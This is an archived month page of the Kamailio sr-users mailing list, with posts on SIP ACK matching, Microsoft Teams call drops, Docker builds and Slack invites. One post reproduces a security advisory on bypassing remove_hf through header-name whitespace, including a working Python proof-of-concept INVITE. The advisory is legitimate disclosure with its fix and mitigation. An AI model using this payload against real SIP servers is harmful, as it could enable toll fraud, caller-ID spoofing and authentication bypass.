sr-users September 2020

sr-users@lists.kamailio.org

84 participants
111 discussions

Not seeing ACK to 200 as existing transaction
by Steve Bucklin 23 Sep '20

23 Sep '20

Hello all, If there is someone that can help with this, that would be rather good! I can supply further details upon anyone having seen this before....... In NORMAL operation, I get an INVITE and process this (My Kamailio is processing SS7 CAMEL, and does an MRSN lookup) It then makes the INVITE onwards to the MSRN collected. When answered, I see the 200. I pass the 200 back to the source of the INVITE I get the ACK, and use "t_check_trans()" and if that returns true will route the ACK onward (I am in the ACK path having set Record-route on the 200) This all works. FAILURE occurs when I get INVITE from another source (one step removed from the generating gateway) All works as it should *BUT* the t_check_trans() returns FALSE, so I guess there is a matching issue to the live transaction? I have tried a "work around" and routed the ACK anyway. This *does* work, and is routed correctly forward to the original "contact" and the 200 messages stop being repeated.. *BUT* the Kamailio instance here times out the dialog as the ACK was not seen correctly. I also popped a "t_check_trans()" into the reply route to test the 200 OK that I get, and that returns TRUE. Here is the 200 message that I send back to the INVITE sender: SIP/2.0 200 OK Via: SIP/2.0/UDP 52.1.2.3;rport=5060;branch=z9hG4bK7bb7.62ce43198ddade3212c715259623a75f.1 Via: SIP/2.0/UDP 149.1.2.3:5060;received=149.1.2.3;rport=5060;branch=z9hG4bK905c7e6e Record-Route: <sip:3.1.2.3;lr;ftag=81dd;did=08b.0141;vsf=AAAAAB8ABQMKCAgMAwUCCHgzWEQXXl5WSUNYQ14cUF5t> Record-Route: <sip:52.1.2.3:5060;lr> From: "+44128084XXXX" <sip:+44128084XXXX@149.1.2.3>;tag=81dd To: "+44739790XXXX" <sip:+44739790XXXX@52.1.2.3>;tag=XXgZtQND1H8rD Call-ID: 9bbd818c-d1c8-4c62-9fed-7878ed05cf721 CSeq: 1 INVITE Contact: <sip:+44739790XXXX@185.1.2.3:5060;transport=udp> User-Agent: Ziron Allow: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE, REFER, NOTIFY, PUBLISH, SUBSCRIBE Supported: timer, path, replaces Allow-Events: talk, hold, conference, presence, as-feature-event, dialog, line-seize, call-info, sla, include-session-description, presence.winfo, message-summary, refer Content-Type: application/sdp Content-Disposition: session Content-Length: 216 P-Asserted-Identity: "Outbound Call" <sip:44780204XXXX@52.1.2.3> v=0 o=MSX53 11014726 11014726 IN IP4 88.1.2.3 s=sip call c=IN IP4 88.1.2.3 t=0 0 a=sendrecv m=audio 14810 RTP/AVP 8 99 a=rtpmap:8 PCMA/8000 a=rtpmap:99 telephone-event/8000 a=fmtp:99 0-15 a=ptime:20 And this is the ACK I get back: ACK sip:+44739790XXXX@185.1.2.3:5060;transport=udp SIP/2.0 Via: SIP/2.0/UDP 52.1.2.3;branch=z9hG4bK7bb7.cca0ec5a2c96b8fe82344d9835163595.0 Via: SIP/2.0/UDP 149.1.2.3:5060;received=149.1.2.3;rport=5060;branch=z9hG4bK6b8f7781 Contact: sip:+44128084XXXX@149.1.2.3 To: "+44739790XXXX" <sip:+44739790XXXX@52.1.2.3>;tag=XXgZtQND1H8rD From: "+44128084XXXX" <sip:+44128084XXXX@149.1.2.3>;tag=81dd Call-ID: 9bbd818c-d1c8-4c62-9fed-7878ed05cf721 CSeq: 1 ACK User-Agent: PartitionwareTM SIP Toolkit v4.0.30319 Content-Length: 0 Max-Forwards: 69 Allow: INVITE, ACK, CANCEL, BYE, INFO, OPTIONS, PRACK Supported: timer,100rel Allow-Events: telephone-event P-hint: outbound Any thoughts would be great, Steve

2 1

Kamailio Slack Channel Invite
by Peter Baines 23 Sep '20

23 Sep '20

Hi, Can someone send me an invite to the Kamailio Slack channel please. I am sure I used to be a member but I may have used a different email address. Apologies if this is not the correct place to post. Regards, Peter -- *Web:* http://pbaines.com *Email:* peter(a)pbaines.com

4 4

Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
by Sandro Gauci 23 Sep '20

23 Sep '20

Dear Kamailio Users, posting our security advisory here just in case anyone who was affected has not upgraded or mitigated the header smuggling issue. Advisory follows: # Kamailio vulnerable to header smuggling possible due to bypass of remove_hf - Fixed versions: Kamailio v5.4.0 - Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio…> - Tested vulnerable versions: 5.3.5 and earlier - Timeline: - Report date & issue patched by Kamailio: 2020-07-16 - Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23 - Kamailio release with fix: 2020-07-29 - Enable Security advisory: 2020-09-01 ## Description Kamailio is often configured to remove certain special internal SIP headers from untrusted traffic to protect against header injection attacks by making use of the `remove_hf` function from the Kamailio `textops` module. These SIP headers were typically set through Kamailio which are then used downstream, e.g. by a media service based on Asterisk, to affect internal business logic decisions. During our tests and research, we noticed that the removal of these headers can be bypassed by injecting whitespace characters at the end of the header name. Note that this issue only affected header names that are __not__ defined in `src/core/parser/hf.h`. Further discussion and details of this vulnerability can be found at the Communication Breakdown blog: https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/. ## Impact The impact of this security bypass greatly depends on how these headers are used and processed by the affected logic. In a worst case scenarios, this vulnerability could allow toll fraud, caller-ID spoofing and authentication bypass. ## How to reproduce the issue We prepared a docker-compose environment to demonstrate a vulnerable setup which can be found at <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio…>. The following python code could then be used to reproduce the issue: ```python #!/usr/bin/env python3 sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n" sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n" sipmsg += "Max-Forwards: 70\r\n" sipmsg += "From: <sip:anon@localhost>;tag=%s\r\n" sipmsg += "To: sip:whatever@whatever.local\r\n" sipmsg += "Call-ID: %s\r\n" sipmsg += "CSeq: 1 INVITE\r\n" sipmsg += "Contact: <sip:1000@127.0.0.1:48017;transport=udp>\r\n" sipmsg += "X-Bypass-me : lol\r\n" sipmsg += "Content-Length: 237\r\n" sipmsg += "Content-Type: application/sdp\r\n" sipmsg += "\r\n" sipmsg += "v=0\r\n" sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n" sipmsg += "s=-\r\n" sipmsg += "c=IN IP4 127.0.0.1\r\n" sipmsg += "t=0 0\r\n" sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n" sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n" sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n" sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n" sipmsg += "a=rtpmap:96 opus/8000/2\r\n" sipmsg += "a=sendrecv\r\n" target = ("127.0.0.1",5060) import socket import time from random import randint s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.bind(("0.0.0.0",5088)) r = randint(1000,9999) data = sipmsg % (r,r,r) s.sendto(data.encode("utf-8"), target) while True: data,addr=s.recvfrom(4096) print(data.decode("utf-8")) time.sleep(5) ``` In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK while in a fixed version, Asterisk would respond with a 603 Decline response. This is specific to the [dialplan](https://github.com/EnableSecurity/advisories/blob/master/ES2020-0… in our example, which jumps to an internal dialplan if the `X-bypass-me` header is found. ## Solutions and recommendations The official Kamailio fix has been tested and found to sufficiently address this security flaw. We recommend making use of the latest release or backporting the fixes where possible. Making use of regular expressions to cover white-space characters with `remove_hf_re` has been suggested as mitigation for this issue for cases where the code cannot be upgraded. Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for the very quick response and fix within minutes of our report being made available to him, as well as Torrey Searle for reporting this issue quickly to the Kamailio team. ## About Enable Security [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. ## Disclaimer The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. ## Disclosure policy This report is subject to Enable Security's vulnerability disclosure policy which can be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.

10 33

Kamailio drop calls with Teams
by sip user 22 Sep '20

22 Sep '20

Hi, I'm connecting Teams with kamailio server. From Kamailio to teams I have no problems, but from teams to Kamailio yes. Drop the call.. With ngrep I see that: INVITE sip:1005@CLIENT_IP:55766;transport=UDP;rinstance=d47edf336726e940 SIP/2.0. Record-Route: <sip:FQND_IP;r2=on;lr>. Record-Route: <sip:FQND_IP:5061;transport=tls;r2=on;lr>. FROM: "Javier Gonz..lez Mu..oz"<sip:+324@sip.pstnhub.microsoft.com:5061 ;user=phone>;tag=c17bb1eb7f8649d4a89d8d4a876ac32b. TO: <sip:+34560@FQND:5061;user=phone>. CSEQ: 1 INVITE. CALL-ID: c1364913e582553a9a9c2544c3583b0a. MAX-FORWARDS: 69. Via: SIP/2.0/UDP 92.222.217.64;branch=z9hG4bK7bb5.0fbae76a37829205e04279f220a26af2.0;i=a1. VIA: SIP/2.0/TLS 52.114.76.76:5061;branch=z9hG4bKd216a55. RECORD-ROUTE: <sip:sip-du-a-eu.pstnhub.microsoft.com:5061;transport=tls;lr>. CONTACT: <sip:api-du-a-euno.pstnhub.microsoft.com:443 ;x-i=b0b53fc5-76ef-4619-9a68-13e0a4eea92d;x-c=c1364913e582553a9a9c2544c3583b0a/d/8/6c25eb3789a14bf188ce6b05b5e27891>. CONTENT-LENGTH: 1091. MIN-SE: 300. SUPPORTED: timer. USER-AGENT: Microsoft.PSTNHub.SIPProxy v.2020.7.31.1 i.EUNO.0. CONTENT-TYPE: application/sdp. ALLOW: INVITE,ACK,OPTIONS,CANCEL,BYE,NOTIFY. P-ASSERTED-IDENTITY: <tel:+324>,<sip:EMAIL>. PRIVACY: id. SESSION-EXPIRES: 3600. . v=0. o=- 165103 0 IN IP4 127.0.0.1. s=session. c=IN IP4 52.113.44.8. b=CT:10000000. t=0 0. m=audio 50452 RTP/SAVP 104 9 103 111 18 0 8 97 101 13 118. c=IN IP4 52.113.44.8. a=rtcp:50453. a=ice-ufrag:FZTb. a=ice-pwd:yD3P7nr+xNq0VYdv7xpB1F+Y. a=rtcp-mux. a=candidate:1 1 UDP 2130706431 52.113.44.8 50452 typ srflx raddr 10.0.33.240 rport 50 U CLIENT_IP:55766 -> FQND_IP:5060 #2 SIP/2.0 180 Ringing. Via: SIP/2.0/UDP FQND_IP;branch=z9hG4bK7bb5.0fbae76a37829205e04279f220a26af2.0;i=a1. Via: SIP/2.0/TLS 52.114.76.76:5061;branch=z9hG4bKd216a55. Record-Route: <sip:FQND_IP;lr;r2=on>. Record-Route: <sip:FQND_IP:5061;transport=tls;r2=on;lr>. Record-Route: <sip:sip-du-a-eu.pstnhub.microsoft.com:5061;transport=tls;lr>. Contact: <sip:1005@CLIENT_IP :55766;transport=UDP;rinstance=d47edf336726e940>. To: <sip:+34560@FQND:5061;user=phone>;tag=de4e6b45. From: "Javier Gonz..lez Mu..oz"<sip:+324@sip.pstnhub.microsoft.com:5061 ;user=phone>;tag=c17bb1eb7f8649d4a89d8d4a876ac32b. Call-ID: c1364913e582553a9a9c2544c3583b0a. CSeq: 1 INVITE. User-Agent: 3CXPhone 6.0.26523.0. Content-Length: 0. U CLIENT_IP:55766 -> FQND_IP:5060 #3 SIP/2.0 200 OK. Via: SIP/2.0/UDP FQND_IP;branch=z9hG4bK7bb5.0fbae76a37829205e04279f220a26af2.0;i=a1. Via: SIP/2.0/TLS 52.114.76.76:5061;branch=z9hG4bKd216a55. Record-Route: <sip:FQND_IP;lr;r2=on>. Record-Route: <sip:FQND_IP:5061;transport=tls;r2=on;lr>. Record-Route: <sip:sip-du-a-eu.pstnhub.microsoft.com:5061;transport=tls;lr>. Contact: <sip:1005@CLIENT_IP :55766;transport=UDP;rinstance=d47edf336726e940>. To: <sip:+34560@FQND:5061;user=phone>;tag=de4e6b45. From: "Javier Gonz..lez Mu..oz"<sip:+324@sip.pstnhub.microsoft.com:5061 ;user=phone>;tag=c17bb1eb7f8649d4a89d8d4a876ac32b. Call-ID: c1364913e582553a9a9c2544c3583b0a. CSeq: 1 INVITE. Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REGISTER, SUBSCRIBE, NOTIFY, REFER, INFO, MESSAGE. Content-Type: application/sdp. Supported: replaces. User-Agent: 3CXPhone 6.0.26523.0. Content-Length: 1067. . v=0. o=3cxVCE 324945090 117647850 IN IP4 . s=3cxVCE Audio Call. t=0 0. m=audio 0 RTP/SAVP 104 9 103 111 18 0 8 97 101 13 118. c=IN IP4 52.113.44.8. a=rtpmap:104 SILK/16000. a=rtpmap:9 G722/8000. a=rtpmap:103 SILK/8000. a=rtpmap:111 SIREN/16000. a=fmtp:111 bitrate=16000. a=rtpmap:18 G729/8000. a=fmtp:18 annexb=no. a=rtpmap:0 PCMU/8000. a=rtpmap:8 PCMA/8000. a=rtpmap:97 RED/8000. a=rtpmap:101 telephone-event/8000. a=fmtp:101 0-16. a=rtpmap:13 CN/8000. a=rtpmap:118 CN/16000. a=rtcp:50453. a=ice-ufrag:FZTb. a=ice-pwd:yD3P7nr+xNq0VYdv7xpB1F+Y. a=rtcp-mux. a=candidate:1 1 UDP 213 I never received ACK.. In my configuration: Kamailio.cfg: #!KAMAILIO #!define WITH_TLS event_route[tm:local-request] { if(is_method("OPTIONS") && $ru =~ "pstnhub.microsoft.com") { append_hf("Contact: <sip:FQND:5061;transport=tls>\r\n"); } xlog("L_INFO", "Sent out tm request: $mb\n"); } request_route{ remove_hf("Route"); if (is_method("INVITE|SUBSCRIBE")) { xlog("L_INFO","$fU is trying to call to $rU con valores $tu\n"); $rU="1005"; } } What I'm doing wrong? I don't understand why not received ACK.. Could anyone help me? Thanks

5 21

Kambdctl create command
by Pavithra Mohanraja 22 Sep '20

22 Sep '20

Hi, I need to use kambdctl create command but that has to create database in another vm where mysql is alone installed. How to do that? Thanks, Pavithra

2 1

Kamailio Slack Invite
by Peter Baines 22 Sep '20

22 Sep '20

Hi, Can someone send me an invite to the Kamailio Slack channel please. I am sure I used to be a member but I may have used a different email address. -- *Web:* http://pbaines.com *Email:* peter(a)pbaines.com

4 4

Info: recordings of Kamailio World 2020 sessions
by Daniel-Constantin Mierla 22 Sep '20

22 Sep '20

Hello, for those that couldn't attend the Kamailio World 2020 online event that happened a few weeks ago, or someone wants to view again a session, the recordings of the two days were split per session -- they are available on KamailioWorld youtube channel: * https://www.youtube.com/c/KamailioWorld/ For convenience, they were also grouped in a playlist for KW2020, see: * https://www.youtube.com/c/KamailioWorld/playlists No other editing than just cutting at start/stop of each session. Slides should be available at: * http://kamailio.org/events/2020-KamailioWorldOnline/ Enjoy! Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda

1 0

Error on ACK/BYE After 200
by Neimar 21 Sep '20

21 Sep '20

Hello, I am trying to set up a Webrtc by using Kamailio, Asterisk and Rtpengine. So far, everything is working fine , I'm able to register an extension and make a call, but for some reason, when i'm trying to call a WebRTC extension from any SIP Extension from Asterisk, Kamailio is sending INVITE, WebRTC extension is sending back 200 OK, and then Kamailio is trying to send an ACK through UDP protocol, and not through wss, as it's supposed to do. In console, I see: Sep 21 20:39:06 vsphone3-sbc /usr/sbin/kamailio[9756]: WARNING: {1 102 ACK 332ee81b4eb178ac156e8d3e53a98900@172.16.11.6:5060} <core> [core/forward.c:231]: get_send_socket2(): protocol/port mismatch (forced tls:172.16.11.57:8443, to udp:187.20.56.83:27730) My scenario is: Internet -> Firewall -> Kamailio -> Asterisk Working: Softphone -> Kamailio -> Asterisk (TCP/UDP/TLS(SRTP) Asterisk -> Kamailio -> Softphone (TCP/UDP/TLS(SRTP)) Webrtc -> Kamailio -> Asterisk (WSS) Not Working: Asterisk -> Kamailio -> Webrtc After a answer from Webrtc, I can listen sound, so, RTP in theory is fine. Webrtc send 200 OK to Kamailio Kamailio Send 200 OK to Asterisk. Asterisk Send ACK to Kamailio ACK not forwarded to Webrtc. In attachment, my kamailio.cfg Every Help is welcome. Thanks Neimar.

1 0

Kamailio uses Python
by Pavithra Mohanraja 21 Sep '20

21 Sep '20

Hi, I am building kamailio as an docker image by installing kamailio using "apt-get install kamailio" in ubuntu 18.04, which installs python by default which makes my image size bigger. Does kamailio uses Python?. else what could be the alternative? Does anybody came across this situation. Kindly advise. Thanks, Pavithra

2 3

Kamailio IF Routes
by conradcordeiro＠gmail.com 21 Sep '20

21 Sep '20

Hello, Is it possible to set up Kamailio 5.4.1 to use IF to determine how calls are proxied depending on the source of the request? For example, *_if_* calls originate from /pstn.us1.twilio.com/ then _/$du = "sip01.example.com:5060"/_, wheres _*if*_ calls originate from /pstn.us2.twilio.com/ then _/$du = "sip01.example.com:5060"/_. Additionally, would this also be possible based on numbers? For example, _*if*_ calls are to number +1-800-777-8888 then /$du = "sip01.example.com:5060"/, or if calls are to number +1-800-777-9999 then /$du = "sip02.example.com:5060"/. To be clear, I don't expect both examples above to work in the same Kamailio instance but IF and AND clauses are possible, such as _*if*_ calls are to number +1-800-777-8888 AND from /pstn.us1.twilio.com/ then _/$du = "sip01.example.com:5060"/_, it'd be great to test this too. I'm not sure if I'm allowed to ask such specific questions on this mailing list and I hope I'm not asking too much. Many thanks, Conrad

3 4

← Newer
1
2
3
4
5
6
7
8
9
...
12
Older →

2026

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

2003

2002

sr-users September 2020